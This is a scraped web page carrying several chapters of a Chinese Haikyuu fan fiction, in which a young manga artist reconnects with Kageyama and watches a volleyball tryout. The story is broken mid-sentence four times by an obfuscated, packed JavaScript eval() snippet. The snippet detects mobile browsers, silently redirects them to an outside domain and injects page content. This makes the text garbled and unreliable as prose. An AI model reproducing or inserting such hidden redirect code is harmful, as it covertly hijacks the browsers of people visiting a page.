d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591445|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可爱。 不愧是我漫画里人气第一的女主角呢,可爱阿月。 我露出了微妙的笑容。 下午放学,新生这一周都不用参加社团活动,我对社团也没什么兴趣,只想过几天打听打听有没有什么混子社团或者乐子社团供我打法时间。 不过这个想法被山口忠知道,他眨了眨眼睛,在回家的路上问我:“小桃已经决定不和我们一起吗?” 这句话完全就是脱口而出,说完山口忠就意识到什么,自己先反驳了自己:“想想也是,小桃不擅长做杂活,你的手是用来画画的,经理的工作并不适合你。” 我颇为感动地捂住了胸口。 他好为我着想。 他真好。 月岛萤觉得麻烦,啧了一声:“那之后我们要早训,晚上回去的也很晚,你让这个笨蛋怎么办?如果没有我们看着,她又不运动了。” 我:“……” 他好懂我的为人。 他怎么这么坏。 山口忠觉得月岛萤说的也很有道理,不由得开始认真思考这个问题,一边想还要一边看我一眼。 看他们这样绞尽脑汁,我说:“没关系的闺闺们,我是不会放弃强身健体的,跑步可以一起,跑完你们去训练,我去教室里画稿。” 两个少年对视一眼,山口忠问:“画室的稿件?” “不是,是漫画稿件。” 月岛萤:“你那让人作呕的少女漫画还有人在看吗?” 哇哦,明明把我拉黑了,却连我高中在画漫画都知道。 月岛萤,你还说你没有在通过小忠偷偷关心我! 我说道:“我还没来得及和小忠说,我已经不画少女漫画了。” “那你现在在画什么?” “动作漫画。” 月岛萤沉默了片刻,捂嘴抽了一口气:“我说你,如果只靠漫画赚钱的话,不会到最后把自己饿死吧?感觉你的动作冒险类剧情会画的比少女漫画更烂。” 我挠挠头:“额,我知道,所以我画的也不是动作冒险漫画。” 月岛萤:“……啊?” “就是,动作.爱情一类的。” “……啊??” 我都说到这个份上了,月岛萤和山口忠依旧十分迷茫。 虽然我无意隐瞒,但再多的也不能说了,总之我告诉他们每日晨跑后可以不用管我,我总是有自己的事业要奋斗。 两个闺闺不明觉厉,见我说的肯定,最后也由着我去了。 于是,日子就这样一天天过去。 有一天我听到同班同学在讨论一个八卦,他们在说入学的新生中有两个超猛的家伙,刚开学没多久就掀掉了教导主任的假发。 我有点震惊,也很好奇到底是哪位勇士能做出这么逆天的事情,不过班上的同学也不知道,又没有听说谁被处分,这件事情倒也在我的记忆中逐渐淡去。 然而。 就当我以为我的高中校园生活每天都会像现在这样悠闲安稳时,月岛闺闺告诉了我几个不幸的消息。 ——“学长说,这周末想让我和山口与另外两个新成员比赛。” ——“哦,说起来其中一个你还认识。” ——“是国王陛下。” 三句话,给我砸得找不到北。 我一秒抓住重点,不可思议地问他:“你说什么?你要周末加班?还是和影山一起加班?不是,影山在乌野??” 月岛萤面无表情:“是啊,你不是说他去白鸟泽了吗?他怎么在乌野?” 我保持着“=口=”的表情,回道:“我不知啊,他不是说他要去白鸟泽吗?他怎么在乌野?” 月岛萤:“……” 月岛萤:“算了,无所谓,反正我们不会输的。” 不是。 你们的眼光能不能放长远一点! 这家伙留在乌野,你们还能有什么好日子过啊! 11.十一条鱼 仔细算算,我确实有很久没见到影山了。 新年结束后,月岛他们进入了初三的最后一个学期,我配合着他们的时间早上晨跑,晚上复习,完全打乱了我之前出门的时间。 这里要提的是,我虽然不喜欢出门,但我的各个时间都规划的很规律,包括外出写生的时间也是固定的,基本是下午两点去,下午五点回,地点也比较固定,我喜欢家里附近的那个河堤,放眼望去,远方的景色会让我心境平和,画画也如有神助。 而过去的几个月里,我都会在快画完的时候,也就是五点左右在河堤附近碰见影山,可见他的训练时间也很规律,至少收工的时间和我差不多。 最后一次见到他是在2月份。 那天我嫌旧的画板太脏,正好买了个新画板回家,回去时接近五点,路过河堤,我看到那个熟悉的黑发少年坐在草队里,任由并不温暖的风吹乱他一头短发,吹散他蓝色的围巾。 他像是知道我会路过,在我没有靠得很近时,先一步侧头看向了我。 “今天没有画画吗?”他问。 我倒是没多想,如实回答:“画室暂时不用我画画了,我要专心准备入学考试。” “是吗……”一句很轻的呢喃从他唇边溢出,有些听不真切。 于是我又走近了一些,问:“在说什么呢?” 少年没有回答,只是视线下移,盯着我怀里的画板看了好一会儿,邀请道:“那个,要不要再玩一次?” “……哈?” 这臭小子在对自己的女邻居说什么呢?什么玩一次的,说话好脏哦。 如果不是我认识他,我现在立刻就会报警。 不过,很快我就把脑袋里的成人剧情迅速清空。 影山选手虽然面目凶恶,性格恶劣,犟种一个,但他待人还算有礼,没做过什么特别冒昧的事情,他说这句话也只是看中了我新买的画板,想要和上次一样在河堤上玩“滑滑梯”而已。 刚刚还觉得他没有很冒昧,现在就开始冒昧了。 哈,我们很熟吗?这可是我新买的! 我冷笑一声,防备地后退一步:“你休想,我的画板是用来给你做这事儿的?” “……” 少年被风吹翘的发梢软踏踏地垂落下去,那双清澈的蓝色眼眸也暗淡不少,曾经明媚的光彩仿佛只是梦中虚影,那偏蓝色恍若一直都是这样深沉孤寂,如同一潭死水,落下石子都掀不起波澜。 他并没有强硬地上来抢,也没有再执着于这简单的游戏,他只是微微低下头,平静地对我道歉:“抱歉。” 好像黑色的脑袋上有一对耳朵失落地跟着脑袋一起软趴趴地垂下。 抛开性格不说,他真的很帅。 此时他明明脸上表情变化不大,只是被拒绝而已,只是可能多少有一些失落和不开心而已,可就是这种微表情和微动作,就足以让一个颜狗冷硬的内心产生强烈的动摇。 我抱紧了我的新画板,闭上眼睛,最后还是深吸一口气再重重叹出去,语气冷漠:“算了,也不是什么很重要的东西,你想玩给你玩好了。” 蓝色的眼眸在那一瞬间亮起。 “真的吗?谢谢!” “……哼。” 谁让我心地善良。 被严密包裹的实木画板平稳地放在长坡上,黑发少年已经坐在了板子的中间偏后位置。 他的表情很明显跃跃欲试,那双眼睛亮晶晶的,嘴角也向上抿起来,看出来他现在很期待,心情也很不错。 细长好看的手指抓住木板上端的提手,不过提手能抓的空间有限,肯定没有我之前那块装了黑色背带的画板来的稳当。 我最后问他一次:“你确定你要玩?别到时候摔伤了哦。” 他点点头:“没关系。” 说着,少年挪了挪屁股,调整好重心。 只是这片长坡本来平缓的地方就不多,现在他所处的位置也并不是很平,他这一挪,画板立刻往前倾倒,有要往下滑的迹象。 我还蹲在他左前方的位置,见状立刻连滚带爬想要离他远点,结果没想到我的速度还是慢板子一步,实木绊到脚尖,打乱了我的平衡,让我失去了重心。 这里的坡我最是了解,只要身子一歪,运动神经不发达的人必定来不及调整,下场一定是会往下滚的。 就在我即将摔倒之际,一只手捞住了我的腰,强而有力的臂膀将我带入一个结实的怀抱。 “抓紧我。” 背部抵住的胸口随着说话声轻轻震动,少年干净的声音也从头顶传来。 我:“!” 根本来不及回应他,往下滑的失重感和扑面而来的冷风像是要将我整个人都吞噬殆尽,我只能死死抓住他的胳膊,尽量往他怀里窝,闭上眼睛,屏住呼吸。 像是被我抓疼了,他低低地“嘶”了一声,又说:“你冷静点,没有危险。” 长坡又陡又长,好在地上的野草厚实,没有什么颠簸。 抱着我的胳膊很稳,让人很有安全感,而且影山的声音也不带一丝惊慌,我这才稳住心神,眼睛微微掀开一条缝。 扑面而来的风在少年的遮挡下少了许些凌冽,前方层层枯草往身后飞驰,屁股底下的木板有点硬,但不愧是花了大价钱置办的实木画板,和专业的滑草板有的一拼。 哇! 眼前的视野开阔,下滑的速度让我感觉像是在飞,这种刺激感让我找回了当时九十岁老奶坐轮胎玩彩虹滑道的感觉,但和上次不同的是,我现在的安全十分有保障,而且还很爽。 影山真没骗我。 这种自由的感觉…… 真的很爽啊! 我简直想张开双臂迎接喧嚣的风儿。 只不过在我这么做之前,长坡就已经见了底,草地离河边还有很长一段距离,木板在草地边缘停下,我们两个人却因为惯性往前扑去。 这次影山是有经验了,他护住我的脑袋摔倒在泥巴地上,如同一个饼一般,正面朝上,眼里还有尚未褪去的兴奋。 我被他保护的很好,就算摔倒也有他做肉垫,只缓了几秒,我便从他身上直起身子来,眼冒金星地扶着额头,在不经意间和他对上视线。 掌心撑着的“地面”温热柔软,屁股底下坐着的腹部倒是结实坚硬,我愣愣地看着他那双宛如落了星光的眼睛,反应了几秒,然后才迅速从他身上站起来,一边拍掉身上的草屑,一边和他拉开距离。 影山利落地坐起来,这回不仅仅是眼睛,身体周围似乎都有星星闪烁,他问我:“怎么样?是不是很好玩?” 我抿了抿嘴角,很嘴硬地否认:“都摔跤了,一点都不好玩。” “再来一次?我不会再让你摔跤了。” “……那,就再信你一次吧。” 我还是没能抵御住这种诱.惑。 那种拥抱着风儿,无拘无束低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600758|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空飞行的感觉实在是让人上瘾,我体验过这一次新鲜,就有些难以忘怀短暂拥有过的自由。 周围的草地还算厚实,中途掉下木板也不会受什么伤,而且影山确实说到做到,我确实没再从画板上摔下来,他将我保护的很好。 所以一开始还是影山拉着我玩,到后面却变成了我拉着他滑。 等到新鲜感褪去理智回拢,我才意识到我到底做了些什么丢脸的事情。 我面色复杂地看着蹲坐在地上,眼睛亮闪闪注视着我的黑发少年,脑袋隐隐作痛。 ……怎么回事? 我刚刚为什么会像是失了神志一般疯玩成那样? 换做是平常,我哪里会去玩这种危险的游戏? 还不是因为第一遍滑下去的时候我被绊倒了,误打误撞上了贼船,让我体验了一次之后还想再玩第二次。 而且他还一直跟我一起,陪着我不厌其烦地往下滑……不得了,真的不得了,被花花世界迷了眼睛最后完全学坏的乖孩子,不就是这样一步一步蹋入深渊的吗? 这次还只是把我心爱的画板坐在屁股底下在草地上玩滑滑梯,下次呢?下次我又会做出什么平常连想都不敢想的“好事”? 太可怕了,真的太可怕了。 人一旦沾上影山,就完啦! 我抱起我的画板,拍拍塑料封膜上的草屑,不敢再在这里多停留一秒。 少年不明所以,也从地上爬起来,跟在我身后:“就要回去了吗?” “当然了!” 我快步往前走着,想要甩掉这个小尾巴,奈何对方个子高,腿也长,我的速度对他来说根本就不叫快,他跟的毫不费力。 我横向和他拉开距离,防备地看着他:“你跟着我干什么?离我远点。” “我也回去。” “……” 该死,那我们同路。 我愤愤鼓起腮帮子,埋头往前走。 身边的人倒是没在说话,只是在快要到家的时候喊住我。 “桃沢。” 纵使万般不愿意,我还是出于礼貌停住了脚步,回头看他:“干嘛?” 他就站在不远处面对着我,夕阳在他的脸上洒下泛着橘红色的暗光,将他那明亮的双眸照得像是质地上乘的琉璃,透着清澈真挚的热忱,比刚刚在草地上见到他时要有活力不少。 “今天,谢谢你。” 不知道为什么,影山的道谢十分真诚,就好像我真的做了什么对他帮助很大的事情,将他从深不见底的泥潭深渊中拽出来似的。 但其实我只是恰好遇到他,并贡献出了自己新买的画板,让他玩了一会儿而已。 我对他态度那么不好,他还谢谢我。 我沉默地和他对视了一会,然后默默挪开视线,小声嘀咕:“真是看不懂……” 明明长着一副强势又聪慧的外貌,却总是在做笨蛋事说笨蛋话。 我自觉自己没做什么,所以也没有接受影山的道谢,这种诚恳让我莫名胸口像是有火焰在燃烧,有着说不清道不明的灼热感。 影山并不在意我有怎样的回复,他说完这句话就进了院子,留下我一个人脑袋乱乱的。 从那天之后,我们再也没有碰见过,也就根本没机会问他白鸟泽高校的入学成绩如何。 直到现在,我在乌野高校排球部见到这张熟悉的面孔才意识到。 哦,原来那天,他落榜了啊。 12.十二条鱼 周末,我受邀去观看排球部的比赛。 听小忠说,这不仅仅是他和阿月的邀请,也是菅原学长的邀请,他对我印象还挺深刻,如果我周末得空,他希望我可以去参观。 学长都这么说了,那我肯定是要去的! 于是,在跟着阿月和小忠进入体育馆后,我看到了那张还算熟悉的帅脸。 将近两个月没见,影山好像变得开朗许多。 我跟着闺闺们来到体育场的时候,他正揪着一个橘发少年的衣领咆哮,声音非常大,表情也特别凶。 吼完人家,他一转看见我站在月岛萤身边,很明显一愣,随后挠挠头,收敛了脸上的怒意,老老实实喊我:“桃沢。” 猜想到他会在这里是一回事,真正在这里看到他又是另外一回事。 我一时间有些心情复杂,不过没等我和他打招呼,月岛萤不满地“啧”了一声,语气不算好:“你们很熟吗?乱套什么近乎。” 影山本来就看月岛萤不顺眼,还莫名被刺两句,立马面色不善地瞪过来:“又关你什么事?” 月岛萤嘁了一声,他黑着脸看我:“你说,关不关我的事?” “……”我也不知道这个战火是怎么烧到我身上的,但我并不是会跟着他的思维往下走的性格,于是扯了扯嘴角,问他:“不是,说到底不关我事才是真的吧?” “废话!我是在为你吵架!” “敲,你别道德绑架我,我和影山都没起过冲突!” 月岛萤推眼镜:“真令人心寒。” 我:“血口喷人上瘾是吧。” 山口忠在一边冷汗直流,一边熟练劝架:“算了算了,都别生气,如果被学长发现这边在吵架的话就糟糕了。” 这句话对月岛萤显然十分有用,他闭上了嘴巴,冷哼一声,扭头去角落里拉伸。 而目睹我对抗月岛大魔王全过程的影山和他身边的橘发少年,都眼睛亮闪闪的,用崇拜的目光注视着我。 经橘发少年的自我介绍,我得知他的名字叫做日向翔阳,是一年级1组的学生。 这次比赛将由他和影山,以及一位高年级的学长,对战阿月和小忠,以及排球部部长,泽村学长。 至于为什么会在下周正式开始社团活动之前有这么一次比赛,则是牵扯到了影山和日向在初中时期比赛过程中的渊源。 据日向翔阳所说,他和影山初中在不同的学校读书,原本是互不认识的,不过初三那年,两支队伍偶然在赛场上相见,这才有了罪恶的开始。 他被影山毫不客气地暴打一顿,在心里种下了一颗复仇的种子。 由此说来,他们的关系在进入高中之前就势同水火,现在成了队友更是水火不容。 所以这次不仅仅是一场比赛,还是他们作为队友的一次磨合。 ……嗯,真是复杂又冗长的羁绊。 如果按照漫画剧情的标准套路发展,关系越不好的宿敌在经过一系列的事件之后,其实都会变成契合完美的好挚友。 这就是偷摸大鸡的友情加成,命运编织而成的感情线。 别看他们现在互相看对方不顺眼,等到时机成熟,他们就会大喊着友情啊羁绊啊什么的冲上去,给成长路上的敌人们一拳拳撂倒,最后在世人的赞美与欢呼声中走花路。 我常年品读剧情模板,套公式套的飞快,脑袋里已经在开始幻想日向翔阳和影山化敌为友,微笑着一起拿下全国冠军奖牌的场景了。 啊,我这漫画的新素材不就有了吗? 梦想与激情,令人心动的青春期。 ……唉,还是算了,现在想这种剧情好像也没什么用,我画的漫画正剧占比又不重…… 几位少年没和我聊几句,场上比赛差不多要开始了。我四处张望着,想寻找一处不会打扰他们比赛又能为闺闺们加油的绝佳观测点。 这么一找,我就看到了站在记分牌那边的菅原学长。 他身边站着两个个子都挺高的男生,还有一位黑色中长发披肩,睫毛长长,眼型美丽,鼻梁高挺,上面戴着一副细框眼镜。 最吸引人视线的还是她那张清冷的面容配上嘴角下的一颗痣,中和了面部的冷意,带着几分惑人之感。 是一位非常有魅力的女性。 我想去找美女姐姐搭话,可她身边站着的那几个男生,除了菅原学长,其他人我都不认识。 正当我站在原地有些踌躇之时,菅原学长先一步注意到我,脸上露出一个笑容,招招手示意我过去。 说实话,有点紧张,相信大家看出来了,我并不是那么擅长交朋友,更何况他们还是学长学姐,自带身份的压迫感。 有些拘束地挪到人堆里站定,我老实喊他:“菅原学长。” “!……” 菅原孝□□么一瞬间像是被什么击中,他的笑容多了学些幸福的意味,右手捂着胸口,语气也柔和不少:“桃沢学妹好呀,我还以为你今天不会来呢。” “学长邀请,肯定会来的。”我规规矩矩颔额:“叨扰了。” “没关系没关系,不算叨扰。”菅原孝支连连摆摆手。 我们现在场外看了一会儿,看到月岛萤轻轻一跳就拦下了日向翔阳的拦网,菅原孝支忍不住感叹一句:“长得高拦网真有优势……说起来,桃沢学妹和月岛一直都是一起出现的,你们关系真好。” 我补充:“还有小忠,山口忠。我们三个从小就认识,关系一直不错。” 说完,我侧头看他,顺便偷偷瞄了美女学姐好几眼。 “这样啊……” 他眨了眨眼睛,注意到我的小动作,若有所思地抵住下巴,随即笑开,后退一步,让我能完完整整地看到他身边站着的女生,介绍道:“先认识一下吧,这位是清水洁子,三年级2班,我们排球部的经理。” 清水洁子突然被点名,下意识抬头,正巧与我对上视线,定定地看了我几秒后,那脸上薄薄的冰霜如同被春风融化,带着柔和的笑意,声线清冷,音调却温柔地和我问好:“初次见面,你叫桃沢绘里对吗?我听菅原和泽村提到过你。” “……” 气质清冷的美少女只对一个人表露出友善的杀伤力无疑是巨大的,我瞬间脸红了个彻底,小声说:“清水学姐好。” 妈呀……原本以为是高冷御姐,结果是干练却不失温柔的成熟女性。 呜呜呜呜呜好爱这种反差,谁懂,谁来懂我一下! “不用这么客气,直接叫我洁子就好了。” 在我被迷得晕头转向之际,我恍然看见清水洁子捂嘴笑了笑,这种不经意的笑容比起消融的白雪更像枝头绽放的美丽花朵。 我不知道隔在我和清水洁子中间的菅原孝支在此刻去了哪里,反正我一把抓住了清水洁子的衣角,几步拉进了距离,像看她漂亮的脸庞,却又羞于正视她的视线,只能微微侧过脸,双手奉上自己的手机。 “学姐,可以加个联系方式吗?” 动作虔诚得仿佛是在上贡什么贡品。 清水洁子语气温和,说:“当然可以,不过现在手机在储物室,等结束之后来交换吧?” 我连连说好。 场上的比赛在我们小声的交谈声中呈现出一边倒的局势,胜利的天平似乎正一点点朝月岛萤那边偏移。 他个子极高,往网前一站就像是一堵墙,好几次都把日向翔阳飞起来的扣球给挡了回去,泽村学长接球也很稳,月岛没拦下来的球他兜底兜得都很扎实。 而另一边,日向翔阳球打不过去,只能依靠那位二年级的田中学长和影山飞雄偶尔的进攻来获取分数。 我还以为在中学时期就名气大的吓人的天才二传会有多么亮眼的表现,结果却在最基础的入社测试中,在同为新人的阿月面前稍显弱势。 以前就不太看得懂二传的厉害之处,更多的注意力都会在强大的主攻身上…… “咻——” 圆润的球体以一种不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613781|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思议的速度经过影山飞雄的指尖,似乎完全没有在他的位置停留,只是呼吸间球体的飞出去的方向就完全改变,准确无误地来到了日向翔阳的面前。 “啪!” 掌心结结实实地拍在排球柔软的表面,发出了很大的一声响声,紧接着,排球在对面完全来不及阻拦的情况下落在了对面的场地上,再次发出了一声闷响。 …… 整个体育馆陷入了十分突兀的沉默。 紧接着是日向翔阳热泪盈眶看着自己掌心兴奋吼叫的声音,再然后是田中学长一起兴奋吼叫的声音,两个人的声音重叠在一起,在安静的体育管里更显吵闹。 这是…… 我瞪圆了眼睛,脑袋里还残留着那颗排球的运动轨迹。 刚刚影山飞雄,明明是是想给田中学长传球的……但是他的余光看见日向翔阳已经跳起来在网前了,所以临时改变了传球的方向,在日向翔阳闭着眼睛的情况下准确无误地送到了日向翔阳的击球点! ……哇靠。 有挂啊这个人! 这个人绝对开了! 有没有人管管啊! 我确实不是很会打排球,也不太懂排球,但是很明显刚刚那个传球不是一般人能做到的。 脑海中瞬间闪过一群打篮球的、一群打网球的,和一群踢足球的人的面容。 好啊好啊,都为国争光啊。 在我感叹之际,场上影山飞雄和日向翔阳又打出了那一击闭眼快攻,让阿月都觉得万分棘手,中途喝水时还把毛衣一掀,明显是要开始认真打了。 菅原孝支和我说:“月岛的身体条件很好,这种身高只要随便往上一跳就能拦住日向,只是他的基础还有些不扎实,拦网还不成熟,不过都是时间和训练多少以及经验累积的问题,在赛场上,他会变成让敌人越来越头疼的壁垒。” 我点点头,当然啦,阿月可是很厉害的。 菅原孝支又说:“不过最令人震惊的还是影山和日向这对组合,那种精准度的传球需要二传有非常集中的注意力和十分高超的技术,一般很难达到这种程度。” “日向的弹跳能力也很吓人,像现在这样,他只需要想着甩开敌人,反正起跳的时候影山就能把球传过去,一旦这种武器成型,将会成为一场突袭。” 银灰色短发的少年面色严肃地看着场上的对局,像是在思考着什么,沉默半晌后,他轻轻笑了笑:“乌野今年的新鲜血液,都很不得了啊。” 我迟疑片刻,还是点点头。 确实,我这个门外汉都能看出来这种组合快攻很吓人。 特别是影山飞雄,那冷静地看透一切,有条不紊地组织最有利的进攻,操纵着所有的样子,真是挺帅的。 有这种强大的技术和大脑,他干什么事情都会成功的。 我不由得开始思考,以前他说的那些“笨蛋话”做的“笨蛋事”到底是不是真的。 以前我就觉得他这种真亦假时假亦真的缥缈样子很不真实,有时候真的会相信他就是个笨蛋,可现在看来……他哪里是个笨蛋,明明是个脑袋超级好用的空间逻辑怪。 我嘴巴一撇,眉头一皱,还是反驳了菅原孝支:“我相信作为乌野的首发二传,菅原学长您一定拥有不输于影山的技术和头脑。” “哈哈哈哈,你没看过我打球,却肯定我比影山要厉害?”他忍不住笑了好几声:“看来你和影山很不对付啊,不是朋友吗?” “谁和他是朋友了,遇到他总是倒霉。”我双手环胸,正色道:“虽然我没看过菅原学长打球,但是从见到您的第一眼起,我就觉得菅原学长很厉害啊。” 菅原孝支眨了眨眼睛,眉眼柔和下来,那一双潋滟着秋水的眼眸在眼角泪痣的点缀下,显得更为旖旎美丽。 “谢谢你桃沢,不过……” 他的目光重新投向场上。 他没有这种技术和头脑。 而一支队伍,场上只能存在一个二传。 13.十三条鱼 最后毫无悬念的,影山和日向还是获得了比赛的胜利,成功加入排球部,正式成为了排球部的一员。 真是皆大欢喜,皆大欢喜。 社团结束后,泽村学长说要请大家一起吃包子,庆祝社团加入新成员。 我不好意思混入其中,于是主动举手,和学长说:“学长,家里已经有长辈为我做好了晚饭,这次还是先……” “别那么客气,桃沢。”泽村大地对人十分温和,他脸上带笑,很是慈祥地看着我:“一起去吧,到时候再和月岛一起回去。” 虽然他身上穿着校服衬衫,穿着黑色的校服长裤,背着的单肩包也是很简单的学生样式,可泽村学长一笑起来和我说话,我就感觉他又慈祥又和蔼,浑身上下都散发着柔和的圣光。 我原本态度很坚决要拒绝的,但是学长的笑容实在太具有感染力了。 等我回过神来,我的手里已经捧着了一个热乎乎的大肉包,并且还在上头咬下了大大的一口,口腔里全都是肉馅的香味,好吃极了。 混着肉香的面皮咽下去时一路暖到心里,有一种说不清道不明的感觉。 对我来说,这不仅仅是一个包子,还是重回旧地后,新环境对我的接纳,新同伴对我的善意。 乌野的各位,好像都是很好的人。 月岛萤原本还在和泽村大地说话,听我半天没动静,于是下意识用余光扫了我一眼。 这一眼让他颇为震惊地微睁着眼睛,问道:“喂,你干什么?好吃到这种程度吗?没事吧??” 我手里捧着包子,侧过身体不让他看见我的脸:“只是被烫着了而已,别大惊小怪。” 山口忠立马看过来,满脸担忧:“烫着了?有没有烫伤?嗓子疼吗?” 月岛萤:“……山口,你把她当什么了?温度高一点就会融化的雪人吗?” 山口忠:“阿月,别这么说,口腔烫伤会很麻烦的。” 我刚刚还在胸腔里沸腾的感动和温情,没停留几秒就被他们这种对话搅得荡然无存,木着脸看向别处,回答:“已经没事了,不用担心我。” 田中龙之介在旁边笑得很夸张,他说:“你们三个人好像一家三口。” 月岛萤:“?” 山口忠:“?” 我:“?” 他指着山口忠:“慈母。” 指着月岛萤:“严父。” 指着我:“叛逆期的冷漠小孩。” “……”我们三个同时沉默,我本人是有点无语的,侧头一看月岛,他若有所觉得用同款无语表情和我对视。 几秒后,我们一起把目光投向“慈母”山口忠。 “慈母”看上去很受打击,指着自己,“为什么我是慈母?” 我:“因为你善。” 山口忠:“TAT” 泽村大地一直在旁边听着,这会儿也忍不住笑出了声。 落后队伍一些的影山和菅原孝支在说悄悄话,等他们说完,我的包子都吃完半个了。 现在时间不早,几个不顺路的学长都先回去了,路上也只剩下我们五个一年级的边吃边聊边走。 日向翔阳家里比较远,上下学都是要骑车的,这会儿也配合着我们推着自行车往前走。 他是个闲不下来的,好像什么时候都有用不完的活力,就算打了那么久的比赛,还跟着做了好一会儿训练,他还能神采奕奕地和影山拌嘴。 到了分岔路口,天空中橘红色的夕阳已经彻底被一轮明月代替,日向翔阳和我们挥挥手,两条腿一蹬,自行车一下子窜出去好几米。 而下一个街头,月岛萤和山口忠也和我不顺路了,他们两个对视一眼,想继续往前走,打算先把我送回去再说。 我一秒看穿他们的意图,连忙说:“这么晚了,别送我了,我和影山一起走就行。” 月岛萤一只手插在裤子口袋里,余光扫了一眼黑毛呆瓜,无言地扯了扯嘴角,还是道:“反正也不会浪费很久时间,我们先送你。” “真不用。” “我不放心。” “不用。” “别废话。” “哎呀!”我声音加重了一些:“我说不用!” 月岛萤安静几秒,推推眼镜,语气平静:“哦。” 但是前进的方向却没有改变。 旁边山口忠也是一样。 面对这两位固执的幼驯染,我有些无奈,影山微微蹙眉,挡在月岛萤身前,“你没听到桃沢说的话吗?她说不用。” 他不满地“啧”了一声,视线落在我身上:“确定不用?” 我立刻摆手:“不用,我和影山顺路。” “……那随你吧。”月岛萤在原地站了一会儿,最后再看我一眼,轻轻叹口气,直接在街头转了弯:“山口,我们走。” 山口忠不放心地再次叮嘱一句:“有事就给我们打电话哦,注意安全。” 我点点头,山口忠这才朝我笑着挥挥手,跟上了月岛萤。 影山纳闷地看着那两个人的背影愈行愈远,对我说:“这两个人好奇怪,你都说不用了。” 而且对她的安全问题似乎表现出近乎偏执般的在意。 ……也有可能朋友之间就是这样相处的,只是他自己不知道。 想到这里,影山又觉得自己刚刚阻止月岛萤的行为是不是有些不妥。 我沉默了半晌,直到视线内没有了两个少年的身影,才解释道:“我妈妈说,去年,我还在东京上学的时候,某一天的回家路上突然病发昏迷。那会儿妈妈不在身边,是好心的路人帮我叫了救护车,妈妈接到医院的电话才知道这件事情的。” “后来因为生病我休学了将近一年,听说乡下空气好一些,于是妈妈就让我来乌野町重新开始学业,同时也拜托了阿月和小忠好好照顾我。” “可能是怕再发生同样的事情吧,他们一向把我看得很紧。” 我朝他笑:“所以也不用觉得奇怪,他们只是在担心我。” 影山只怀疑了一秒就接受了这个解释。 她确实身体很差,明明上次自己感冒,离她的距离也没有很近,只是可能一口气吹在了她的脸上,第二天她就生病了。 而且一起坐在画板上往坡下滑的那一次,她不小心压在自己身上,就好像一团棉花窝在怀里似的。 也许正是因为身体不好,她也不喜欢尝试可能会让自己受伤的事情,第一次往下滑的时候她怕得差点没把自己手拧断。 ……这个时候手臂力量又超乎想象。 影山的视线不由自主落在身边的女生身上。 他们从第一次认识到现在,已经差不多过了有六个多月了。 六个多月,半年。 只是在这半年的时间里,他们见面的次数屈指可数,他依旧不了解他的这位朋友。 初次看见的那副充满生机的绿色,宛如烙印,只要是闭上眼睛开始胡思乱想,最后就都会想到那副与夏天无比适配的鲜艳油画。 明明只是一副静态的作品,他也不是懂画的人,可他就是觉得那副作品所呈现出来的,是他见过最美丽,最有力量的画面。 它帮他照亮过很多个附上了阴霾的角落,她也帮他驱赶过很多个令人不快的感情漩涡。 在影山心里,他早就已经把她当朋友看待。 既然她身体不好,需要一些照顾,他作为友人,月岛他们能做到的事情,他也可以尝试去帮忙。 就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623227|171240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当是为了回报过年时桃沢阿姨给他的年玉,他也应该这么做。 别人脑袋里想的什么,我是一点都不知道。 但是这个臭小鬼发呆的时候一直盯着我,眼睛转都不带转的,我总感觉他没憋什么好屁。 ……算了,随他去吧,人走在路上怎么可能真的发一路的呆,转弯的时候,路上有障碍的时候总是要回神的吧。 我按捺住浑身的不自在,还非常坏心的在注意到不远处的路灯时,故意把他往右边挤了挤。 结果影山不知道在想什么想的那么入迷,完全对面前的障碍视而不见。 眼看着他就要撞在水泥柱子上,我目瞪口呆地拽住他,说:“你在想什么呢?都快撞上了,不躲吗?” 影山面无表情地定睛看了这根灯柱几秒,随后又侧头看向了停在自己黑色衣袖上的白皙手指。 我怕注意到他的视线,连忙把手收了回来,又看了他几眼,表情一言难尽地率先往前面走去。 怪了事了,他瞪我的手干什么? 怪我多管闲事? 怪我把他当笨蛋? 怪我偷偷把他挤过去想看他笑话? 说到底,他到底有没有在发呆? 啧,正常人发呆也不会快撞上柱子都不知道,更别说脑袋那样好使的二传了,所以他果然是故意的吧! 可恶,又被骗了。 我埋头加快了脚步。 那家伙真不是个好东西。 影山:? 